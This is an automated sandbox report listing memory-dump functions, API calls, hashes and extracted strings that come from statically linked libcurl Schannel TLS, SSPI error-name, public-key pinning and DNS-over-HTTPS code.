memset.MSVCRT ref: 00E66A83

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 9eb3deb703eb38d6fa5a54a40e3421fffce99c4874d0a6fdf23f6376640fc756
Instruction ID: de94a927ba6223628138466fc959c5df710cc81f9c5452e12ca43c7d2ecd2d06
Opcode Fuzzy Hash: 9eb3deb703eb38d6fa5a54a40e3421fffce99c4874d0a6fdf23f6376640fc756
Instruction Fuzzy Hash: 395102B56043018FCB18CF59D48065ABBE1FF88358F15896DEC989B315E774E909CF92

Non-executed Functions

Function 00D3A91C Relevance: 240.8, APIs: 66, Strings: 71, Instructions: 1086encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32(?), ref: 00D3BCAF

Part of subcall function 00D2A2A0: GetLastError.KERNEL32 ref: 00D2A2B8
Part of subcall function 00D2A2A0: _errno.MSVCRT ref: 00D2A2C0

Part of subcall function 00D47140: strlen.MSVCRT ref: 00D4718C

Part of subcall function 00D47140: strcpy.MSVCRT(?,?), ref: 00D471F5

GetLastError.KERNEL32 ref: 00D3BCED

Part of subcall function 00D47140: fwrite.MSVCRT ref: 00D47221
Part of subcall function 00D47140: fwrite.MSVCRT ref: 00D47233

Strings

schannel: AcquireCredentialsHandle failed: %s, xrefs: 00D3BC3E
CALG_SEAL, xrefs: 00D3B454
CALG_RSA_SIGN, xrefs: 00D3B378
schannel: re-using existing credential handle, xrefs: 00D3AA42
CALG_MD2, xrefs: 00D3B2EF
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00D3B91B
schannel: TLS 1.3 is not yet supported, xrefs: 00D3B08A
LocalMachineGroupPolicy, xrefs: 00D3B821
CALG_SHA_256, xrefs: 00D3B6C4
LocalMachine, xrefs: 00D3B7AE
CALG_AES, xrefs: 00D3B6AA
schannel: using IP address, SNI is not supported by OS., xrefs: 00D3AAB9
CALG_DH_SF, xrefs: 00D3B46E
Services, xrefs: 00D3B7DC
CALG_3DES_112, xrefs: 00D3B3E6
CALG_SCHANNEL_ENC_KEY, xrefs: 00D3B58C
schannel: checking server certificate revocation, xrefs: 00D3AE45
CALG_AES_256, xrefs: 00D3B690
schannel: sent initial handshake data: sent %zd bytes, xrefs: 00D3AEF0
CALG_SSL2_MASTER, xrefs: 00D3B5C0
CALG_MD4, xrefs: 00D3B305
CALG_HMAC, xrefs: 00D3B60E
CALG_DES, xrefs: 00D3B3D0
CALG_RC4, xrefs: 00D3B43E
CALG_TEK, xrefs: 00D3B4F0
CALG_SSL3_MASTER, xrefs: 00D3B53E
Microsoft Unified Security Protocol Provider, xrefs: 00D3BC07
:, xrefs: 00D3B77E
schannel: SNI or certificate check failed: %s, xrefs: 00D3AF52
CALG_HASH_REPLACE_OWF, xrefs: 00D3B642
CALG_HUGHES_MD5, xrefs: 00D3B4BC
CALG_NO_SIGN, xrefs: 00D3B3A4
LocalMachineEnterprise, xrefs: 00D3B838
CALG_SCHANNEL_MASTER_HASH, xrefs: 00D3B558
Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 00D3B0AE
CALG_SKIPJACK, xrefs: 00D3B4D6
CALG_AGREEDKEY_ANY, xrefs: 00D3B4A2
schannel: Failed to get certificate location for %s, xrefs: 00D3BCC3
CALG_3DES, xrefs: 00D3B3FC
CALG_TLS1_MASTER, xrefs: 00D3B5DA
Users, xrefs: 00D3B7F3
CALG_AES_192, xrefs: 00D3B676
CALG_DSS_SIGN, xrefs: 00D3B38E
CALG_MAC, xrefs: 00D3B362
schannel: unable to allocate memory, xrefs: 00D3AD00, 00D3BC90
CALG_DESX, xrefs: 00D3B412
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 00D3BD2B
CALG_PCT1_MASTER, xrefs: 00D3B5A6
CALG_CYLINK_MEK, xrefs: 00D3B50A
CurrentService, xrefs: 00D3B7C5
schannel: Failed to open cert store %x %s, last error is %x, xrefs: 00D3BCF6
CALG_DH_EPHEM, xrefs: 00D3B488
schannel: incremented credential handle refcount = %d, xrefs: 00D3AA64
CALG_SCHANNEL_MAC_KEY, xrefs: 00D3B572
CurrentUserGroupPolicy, xrefs: 00D3B80A
CALG_SSL3_SHAMD5, xrefs: 00D3B524
CALG_SHA_512, xrefs: 00D3B6F8
schannel: disabled server certificate revocation checks, xrefs: 00D3AD2E
CurrentUser, xrefs: 00D3B797
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00D3AD88, 00D3AF80
CALG_SHA, xrefs: 00D3B331
CALG_RSA_KEYX, xrefs: 00D3B3BA
CALG_AES_128, xrefs: 00D3B65C
schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates., xrefs: 00D3AE64
schannel: sending initial handshake data: sending %lu bytes..., xrefs: 00D3ABC4
CALG_SHA_384, xrefs: 00D3B6DE
CALG_RC2, xrefs: 00D3B428
CALG_TLS1PRF, xrefs: 00D3B628
CALG_SHA1, xrefs: 00D3B34C
CALG_MD5, xrefs: 00D3B31B
CALG_RC5, xrefs: 00D3B5F4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLastfwrite$CertCertificateContextFree_errnostrcpystrlen
String ID: :$CALG_3DES$CALG_3DES_112$CALG_AES$CALG_AES_128$CALG_AES_192$CALG_AES_256$CALG_AGREEDKEY_ANY$CALG_CYLINK_MEK$CALG_DES$CALG_DESX$CALG_DH_EPHEM$CALG_DH_SF$CALG_DSS_SIGN$CALG_HASH_REPLACE_OWF$CALG_HMAC$CALG_HUGHES_MD5$CALG_MAC$CALG_MD2$CALG_MD4$CALG_MD5$CALG_NO_SIGN$CALG_PCT1_MASTER$CALG_RC2$CALG_RC4$CALG_RC5$CALG_RSA_KEYX$CALG_RSA_SIGN$CALG_SCHANNEL_ENC_KEY$CALG_SCHANNEL_MAC_KEY$CALG_SCHANNEL_MASTER_HASH$CALG_SEAL$CALG_SHA$CALG_SHA1$CALG_SHA_256$CALG_SHA_384$CALG_SHA_512$CALG_SKIPJACK$CALG_SSL2_MASTER$CALG_SSL3_MASTER$CALG_SSL3_SHAMD5$CALG_TEK$CALG_TLS1PRF$CALG_TLS1_MASTER$CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Unrecognized parameter passed via CURLOPT_SSLVERSION$Users$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate location for %s$schannel: Failed to open cert store %x %s, last error is %x$schannel: SNI or certificate check failed: %s$schannel: TLS 1.3 is not yet supported$schannel: checking server certificate revocation$schannel: disabled server certificate revocation checks$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: incremented credential handle refcount = %d$schannel: initial InitializeSecurityContext failed: %s$schannel: re-using existing credential handle$schannel: sending initial handshake data: sending %lu bytes...$schannel: sent initial handshake data: sent %zd bytes$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates.
API String ID: 3810762640-1093480222
Opcode ID: 63deeefda094d9e11df9e183faf52a7cd7621c467ac6403eb14ca0ab9d78973e
Instruction ID: 1940b65b67c374f7a6046c4ae5b032dfbaf31c5dff1f16a0e03d84af5c301ac2
Opcode Fuzzy Hash: 63deeefda094d9e11df9e183faf52a7cd7621c467ac6403eb14ca0ab9d78973e
Instruction Fuzzy Hash: 7282E4B16043019BEB209B20DD46F6B77D8EF84354F18042EFA859B282EB75D944DBB3

Function 00D2A2A0 Relevance: 164.8, APIs: 10, Strings: 84, Instructions: 277stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D2A2B8
_errno.MSVCRT ref: 00D2A2C0
FormatMessageA.KERNEL32(00001200,00000000,?,00000000,?,000000FF,00000000), ref: 00D2A671
strrchr.MSVCRT ref: 00D2A686
strrchr.MSVCRT ref: 00D2A6A1
strncpy.MSVCRT ref: 00D2A6E4
_errno.MSVCRT ref: 00D2A701
_errno.MSVCRT ref: 00D2A70B
GetLastError.KERNEL32 ref: 00D2A713
SetLastError.KERNEL32(?), ref: 00D2A71E

Strings

SEC_E_INVALID_PARAMETER, xrefs: 00D2A626
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 00D2A60A
SEC_E_ALGORITHM_MISMATCH, xrefs: 00D2A4EB
SEC_E_WRONG_PRINCIPAL, xrefs: 00D2A488
SEC_E_INTERNAL_ERROR, xrefs: 00D2A3CA
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 00D2A5EE
SEC_E_BAD_BINDINGS, xrefs: 00D2A5B3
SEC_E_CERT_UNKNOWN, xrefs: 00D2A4C3
SEC_E_INCOMPLETE_MESSAGE, xrefs: 00D2A46A
CRYPT_E_REVOKED, xrefs: 00D2A324
SEC_E_CERT_WRONG_USAGE, xrefs: 00D2A5CB
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 00D2A611
SEC_E_OUT_OF_SEQUENCE, xrefs: 00D2A442
SEC_E_QOP_NOT_SUPPORTED, xrefs: 00D2A406
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 00D2A58B
SEC_E_UNTRUSTED_ROOT, xrefs: 00D2A49C
SEC_E_CANNOT_PACK, xrefs: 00D2A3FC
SEC_E_INVALID_TOKEN, xrefs: 00D2A3F2
SEC_E_NO_IP_ADDRESSES, xrefs: 00D2A513
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 00D2A5FC
SEC_E_KDC_INVALID_REQUEST, xrefs: 00D2A581
SEC_E_NO_CREDENTIALS, xrefs: 00D2A42E
SEC_E_SECPKG_NOT_FOUND, xrefs: 00D2A3D4
SEC_E_MESSAGE_ALTERED, xrefs: 00D2A438
SEC_E_KDC_CERT_REVOKED, xrefs: 00D2A61F
SEC_E_INVALID_HANDLE, xrefs: 00D2A3AC
SEC_E_CONTEXT_EXPIRED, xrefs: 00D2A460
SEC_E_LOGON_DENIED, xrefs: 00D2A41A
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 00D2A424
%s - %s, xrefs: 00D2A6C1
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 00D2A545
SEC_E_POLICY_NLTM_ONLY, xrefs: 00D2A634
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 00D2A56D
SEC_E_CERT_EXPIRED, xrefs: 00D2A4CD
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 00D2A384
SEC_E_KDC_CERT_EXPIRED, xrefs: 00D2A618
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 00D2A5F5
SEC_I_LOCAL_LOGON, xrefs: 00D2A370
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 00D2A4FF
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 00D2A577
SEC_I_CONTINUE_NEEDED, xrefs: 00D2A31A
%s (0x%08X), xrefs: 00D2A646
SEC_E_MUST_BE_KDC, xrefs: 00D2A53B
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 00D2A54F
SEC_I_COMPLETE_NEEDED, xrefs: 00D2A35C
SEC_E_DOWNGRADE_DETECTED, xrefs: 00D2A5D2
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 00D2A595
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 00D2A603
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 00D2A563
SEC_I_RENEGOTIATE, xrefs: 00D2A38E
SEC_E_NO_PA_DATA, xrefs: 00D2A559
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00D2A4AB
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00D2A3B6
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 00D2A51D
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 00D2A59F
SEC_E_DELEGATION_REQUIRED, xrefs: 00D2A5A9
SEC_E_NOT_OWNER, xrefs: 00D2A3DE
No error, xrefs: 00D2A349
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 00D2A366
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 00D2A474
SEC_E_TARGET_UNKNOWN, xrefs: 00D2A3C0
SEC_I_SIGNATURE_NEEDED, xrefs: 00D2A3A2
SEC_E_ENCRYPT_FAILURE, xrefs: 00D2A4D7
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 00D2A5E0
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 00D2A531
SEC_I_NO_LSA_CONTEXT, xrefs: 00D2A398
SEC_E_NO_IMPERSONATION, xrefs: 00D2A410
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 00D2A5BD
SEC_E_BAD_PKGID, xrefs: 00D2A456
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 00D2A527
SEC_E_INSUFFICIENT_MEMORY, xrefs: 00D2A2FC
SEC_E_NO_TGT_REPLY, xrefs: 00D2A509
SEC_E_DELEGATION_POLICY, xrefs: 00D2A62D
SEC_E_NO_KERB_KEY, xrefs: 00D2A5C4
SEC_I_CONTEXT_EXPIRED, xrefs: 00D2A37A
Unknown error, xrefs: 00D2A63B, 00D2A645
SEC_E_CANNOT_INSTALL, xrefs: 00D2A3E8
SEC_E_REVOCATION_OFFLINE_C, xrefs: 00D2A5E7
SEC_E_BUFFER_TOO_SMALL, xrefs: 00D2A47E
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 00D2A5D9
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 00D2A44C
SEC_E_SECURITY_QOS_FAILED, xrefs: 00D2A4F5
SEC_E_TIME_SKEW, xrefs: 00D2A492
SEC_E_DECRYPT_FAILURE, xrefs: 00D2A4E1

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strrchr$FormatMessagestrncpy
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 2057771725-3170461277
Opcode ID: a4e7f0ba7ac7c21efeb85812bb73e7b36a6d70f229b59fe15426ba109d3ff3e6
Instruction ID: 01a7f1106f9b419b458d32bc0d9feb69a0ad133fc27cff3e8c51b311cc5c1769
Opcode Fuzzy Hash: a4e7f0ba7ac7c21efeb85812bb73e7b36a6d70f229b59fe15426ba109d3ff3e6
Instruction Fuzzy Hash: 3E913E64308A76D7D7305A1EA8417BB7A54DB6170AF2A0076B586DF242D769CC00BBF3

Function 00D3BD50 Relevance: 50.1, APIs: 4, Strings: 29, Instructions: 568COMMON

Download Yara Rule

APIs

Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47002
Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47039

memcpy.MSVCRT(?,?,?), ref: 00D3BE7F
memmove.MSVCRT(?,?,?), ref: 00D3BE9A

Part of subcall function 00D47140: strlen.MSVCRT ref: 00D4718C

Strings

schannel: encrypted data got %zd, xrefs: 00D3C060
schannel: encdata_buffer resized %zu, xrefs: 00D3BFD2
schannel: remote party requests renegotiation, xrefs: 00D3C302
schannel: schannel_recv cleanup, xrefs: 00D3BDE8, 00D3BE22
schannel: decrypted data added: %zu, xrefs: 00D3C25E
schannel: Curl_read_plain returned CURLE_AGAIN, xrefs: 00D3C03D
schannel: server closed the connection, xrefs: 00D3C0A5, 00D3C416
schannel: encrypted data cached: offset %zu length %zu, xrefs: 00D3C2E8
schannel: unable to re-allocate memory, xrefs: 00D3C06E, 00D3C4CF
schannel: server indicated shutdown in a prior call, xrefs: 00D3BE0E
schannel: decrypted data buffer: offset %zu length %zu, xrefs: 00D3BEBE, 00D3C3DF
schannel: renegotiating SSL/TLS connection, xrefs: 00D3C32F
schannel: Curl_read_plain returned error %d, xrefs: 00D3C089
schannel: an unrecoverable error occurred in a prior call, xrefs: 00D3BDC3
schannel: encrypted data length: %lu, xrefs: 00D3C2A2
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 00D3C081
schannel: SSL/TLS connection renegotiated, xrefs: 00D3C36E
schannel: server closed abruptly (missing close_notify), xrefs: 00D3BF83
schannel: failed to decrypt data, need more data, xrefs: 00D3C44B
schannel: renegotiation failed, xrefs: 00D3C4A5
schannel: can't renogotiate, an error is pending, xrefs: 00D3C490
schannel: decrypted data returned %zu, xrefs: 00D3BEA8
schannel: decrypted data cached: offset %zu length %zu, xrefs: 00D3C278
schannel: enough decrypted data is already available, xrefs: 00D3BDCE
schannel: failed to read data from server: %s, xrefs: 00D3C479
schannel: decrypted data length: %lu, xrefs: 00D3C1CF
schannel: can't renogotiate, encrypted data available, xrefs: 00D3C49E
schannel: client wants to read %zu bytes, xrefs: 00D3BD7A
schannel: encrypted data buffer: offset %zu length %zu, xrefs: 00D3BFEE, 00D3C0BE, 00D3C3C6

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$memcpymemmove
String ID: schannel: Curl_read_plain returned CURLE_AGAIN$schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: client wants to read %zu bytes$schannel: decrypted data added: %zu$schannel: decrypted data buffer: offset %zu length %zu$schannel: decrypted data cached: offset %zu length %zu$schannel: decrypted data length: %lu$schannel: decrypted data returned %zu$schannel: encdata_buffer resized %zu$schannel: encrypted data buffer: offset %zu length %zu$schannel: encrypted data cached: offset %zu length %zu$schannel: encrypted data got %zd$schannel: encrypted data length: %lu$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: schannel_recv cleanup$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3930488757-1393157870
Opcode ID: 28314273c80567cd1f776534c70a2f945600d7935a52e8ad12b3c2ce80564d3f
Instruction ID: 4d30a26f382151af141137c2ed8fd72882099e2576a0effeba4b1e18f99baad2
Opcode Fuzzy Hash: 28314273c80567cd1f776534c70a2f945600d7935a52e8ad12b3c2ce80564d3f
Instruction Fuzzy Hash: 752298B5604300DFD710DF18C981F2A77A4EF88714F18856DFA896B362E772E805DBA2

Function 00D38FA0 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 314stringfileCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00D38FD7
fopen.MSVCRT ref: 00D38FE9
fseek.MSVCRT ref: 00D38FFC
fclose.MSVCRT ref: 00D39033
strlen.MSVCRT ref: 00D390C0
memcpy.MSVCRT(00000000,?,00000001), ref: 00D390E2
strstr.MSVCRT ref: 00D390F5
strlen.MSVCRT ref: 00D3910E
memcmp.MSVCRT(?,-00000008,?), ref: 00D39121
strstr.MSVCRT ref: 00D39147
ftell.MSVCRT ref: 00D39168
fseek.MSVCRT ref: 00D39177
fread.MSVCRT ref: 00D391CA
memcmp.MSVCRT(?,?,?), ref: 00D391EA
strstr.MSVCRT ref: 00D3922F
strstr.MSVCRT ref: 00D39262
memcmp.MSVCRT(?,?,?), ref: 00D39331

Strings

public key hash: sha256//%s, xrefs: 00D390B1
-----BEGIN PUBLIC KEY-----, xrefs: 00D39227
;sha256//, xrefs: 00D390EF
-----END PUBLIC KEY-----, xrefs: 00D3925C
sha256//, xrefs: 00D38FD1, 00D39141

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strstr$memcmp$fseekstrlen$fclosefopenfreadftellmemcpystrncmp
String ID: public key hash: sha256//%s$-----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$;sha256//$sha256//
API String ID: 1176492844-471711153
Opcode ID: 730a747edb4e2b3129bdced37b1f1374757a9c823c8b09b543ed8b0501f4cbb5
Instruction ID: f8da1136b3c3caa3663af96c999dfb468667f656e4e0aa25b5f15566cf4b55af
Opcode Fuzzy Hash: 730a747edb4e2b3129bdced37b1f1374757a9c823c8b09b543ed8b0501f4cbb5
Instruction Fuzzy Hash: 41A1B5B1A043016BEB249B24DD95B2BB7D89F90348F080439FD8997252F6B9DD48DB73

Function 00D68EF0 Relevance: 37.2, APIs: 10, Strings: 11, Instructions: 498stringnetworkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D68F81

Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47002
Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47039

Part of subcall function 00D46FB0: fwrite.MSVCRT ref: 00D47087
Part of subcall function 00D46FB0: fwrite.MSVCRT ref: 00D47099

strlen.MSVCRT ref: 00D69173
strlen.MSVCRT ref: 00D691AC
strlen.MSVCRT ref: 00D691D7
strlen.MSVCRT ref: 00D69202
strlen.MSVCRT ref: 00D6922D
strlen.MSVCRT ref: 00D69258
htons.WS2_32(?), ref: 00D693EF

Strings

%s%02x%02x, xrefs: 00D69159, 00D6919C, 00D691C7, 00D691F2, 00D6921D, 00D69248, 00D69273, 00D6929D
TTL: %u seconds, xrefs: 00D690C5
DOH A: %u.%u.%u.%u, xrefs: 00D69115
DOH AAAA: , xrefs: 00D69130
CNAME: %s, xrefs: 00D692F2
%s, xrefs: 00D692B8
